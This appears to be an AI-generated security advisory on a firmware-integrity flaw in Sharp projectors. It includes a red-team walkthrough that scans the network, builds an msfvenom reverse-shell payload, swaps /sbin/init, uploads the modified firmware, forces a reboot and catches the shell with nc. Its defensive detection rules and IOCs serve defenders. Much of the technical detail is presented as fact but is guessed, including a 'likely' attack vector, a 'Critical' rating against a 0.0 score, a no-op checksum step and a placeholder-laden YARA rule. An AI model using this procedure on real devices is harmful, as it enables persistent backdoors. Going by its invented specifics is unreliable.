CVE-2025-11544

Executive Summary

CVE-2025-11544 is a critical security advisory affecting Sharp Display Solutions projectors. The vulnerability stems from an Improper Validation of Integrity Check Value (CWE-354), allowing an attacker with physical or network access to create and run unauthorized firmware on the device. This can lead to full device compromise, persistent backdoor installation, and potential use as a pivot point within a network. No public proof-of-concept (PoC) or patch details are currently available, and the CVSS score is listed as 0.0, indicating incomplete or unassigned scoring. The EPSS score is 0.0%, suggesting low exploitation activity in the wild at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned/Incomplete)
• Attack Vector (AV): Likely Physical or Adjacent Network (based on projector context)
• Attack Complexity (AC): Likely Low (firmware update process often lacks strong authentication)
• Privileges Required (PR): None (attacker can be unauthenticated)
• User Interaction (UI): None
• Scope (S): Changed (compromise of projector can affect other network devices)
• Confidentiality (C): High (attacker can read projector data, network traffic)
• Integrity (I): High (attacker can modify firmware, device behavior)
• Availability (A): High (attacker can brick device or disrupt operations)

Threat Level: Critical – Unauthorized firmware execution on network-connected projectors can lead to persistent access, data exfiltration, and lateral movement.

Deep Dive & Mechanics

The vulnerability lies in the firmware update mechanism of Sharp Display Solutions projectors. The device fails to properly validate the integrity check value (e.g., checksum, digital signature) of firmware images before installation. This allows an attacker to craft a malicious firmware image that passes the weak or absent integrity check.

Attack Flow:

1. Reconnaissance: Attacker identifies Sharp projectors on the network (e.g., via Shodan, Nmap, or default credentials).
2. Firmware Extraction: Attacker obtains a legitimate firmware update from Sharp’s website or by sniffing network traffic.
3. Malicious Modification: Attacker reverse-engineers the firmware, injects a backdoor (e.g., reverse shell, credential stealer), and recalculates the integrity check value (if any) or bypasses it entirely.
4. Delivery: Attacker delivers the malicious firmware via:
   • Network: Exploiting an exposed web interface or TFTP/HTTP update service.
   • Physical: USB drive or SD card inserted into the projector.
5. Execution: The projector installs the malicious firmware, granting the attacker persistent remote access.

Impact:

• Full control of the projector (display, audio, network interfaces).
• Ability to intercept or manipulate displayed content.
• Use as a pivot point to attack other devices on the same network.
• Persistent backdoor that survives reboots and factory resets (if firmware is stored in non-volatile memory).

Vulnerable vs. Patched Code

No specific code snippets are available. However, the vulnerable code likely resembles:

// Vulnerable: No integrity check or weak check
if (receive_firmware_image(image)) {
    write_firmware_to_flash(image);
    reboot();
}

A patched version would include:

// Patched: Validate digital signature
if (receive_firmware_image(image) && verify_signature(image, trusted_public_key)) {
    write_firmware_to_flash(image);
    reboot();
} else {
    log_error("Firmware integrity check failed");
    return;
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Hardware: Sharp Display Solutions projector (e.g., model XG-PH70X).
• Network: Isolated lab network with a Kali Linux attacker machine.
• Tools: binwalk (firmware extraction), firmware-mod-kit (modification), msfvenom (payload generation), curl/wget (delivery).

Exploitation Steps:

1. Identify Projector:

   nmap -p 80,443,8080,161,22 --open 192.168.1.0/24
   

2. Extract Firmware:

   wget http://192.168.1.100/firmware.bin
   binwalk -e firmware.bin
   

3. Modify Firmware:

   # Inject reverse shell payload
   msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o backdoor.elf
   # Replace a legitimate binary with backdoor
   cp backdoor.elf _firmware.extracted/sbin/init
   

4. Recalculate Integrity Check (if needed):

   # If checksum is used, recalculate and update header
   md5sum modified_firmware.bin > checksum.txt
   

5. Deliver Malicious Firmware:

   curl -X POST -F "file=@modified_firmware.bin" http://192.168.1.100/upload
   

6. Trigger Reboot:

   curl http://192.168.1.100/reboot
   

7. Receive Shell:

   nc -lvnp 4444
   

Blue Team (Defensive)

Detection & Response:

• Network Monitoring: Look for large firmware image transfers (e.g., >10MB) to projector IPs on unusual ports (e.g., 8080, 9090).
• Firmware Integrity: Regularly verify firmware hash against known-good values from Sharp.
• Access Control: Restrict network access to projectors to authorized management VLANs only.
• Logging: Enable syslog on projectors (if supported) and monitor for unexpected reboots or firmware update events.
• Honeypot: Deploy a fake projector service to detect scanning and exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • Unusual outbound connections from projector to attacker IPs (e.g., port 4444).
  • Large HTTP POST requests to /upload or /firmware endpoints.
  • TFTP traffic to unknown IPs.
• File:
  • Modified firmware binary with unexpected strings or embedded ELF files.
  • Presence of /tmp/backdoor.sh or similar scripts on the projector (if accessible via debug interface).
• Behavior:
  • Projector rebooting unexpectedly.
  • Display showing unusual content (e.g., ransom note, attacker logo).
  • Projector responding to SSH or Telnet connections when it normally does not.

Detection Engineering

YARA Rule

rule CVE_2025_11544_Sharp_Projector_Firmware {
    meta:
        description = "Detects malicious firmware images targeting Sharp projectors"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-11544"
    strings:
        $s1 = "Sharp" ascii wide nocase
        $s2 = "firmware" ascii wide nocase
        $s3 = { 48 65 6C 6C 6F } // "Hello" as a placeholder for backdoor string
        $s4 = { 2F 73 62 69 6E 2F 69 6E 69 74 } // "/sbin/init"
    condition:
        uint32(0) == 0x464C457F // ELF magic
        and 2 of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: Sharp Projector Unauthorized Firmware Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Sharp projector firmware upload endpoints
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/upload'
            - '/firmware'
            - '/update'
        c-uri-query: '*.bin'
    condition: selection
falsepositives:
    - Legitimate firmware updates from authorized administrators
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-11544 Sharp Projector Firmware Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:".bin"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable remote firmware update functionality on Sharp projectors if not required. Restrict network access to projectors using firewall rules (allow only management IPs).
• Short-term: Contact Sharp support for a patched firmware version. Monitor vendor advisories for CVE-2025-11544.
• Long-term: Implement firmware signing and verification for all network-connected devices. Use a hardware security module (HSM) to store signing keys.
• Compensating Controls: Deploy network intrusion detection systems (NIDS) with the above Suricata rule. Enable logging and alerting on projector management interfaces.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.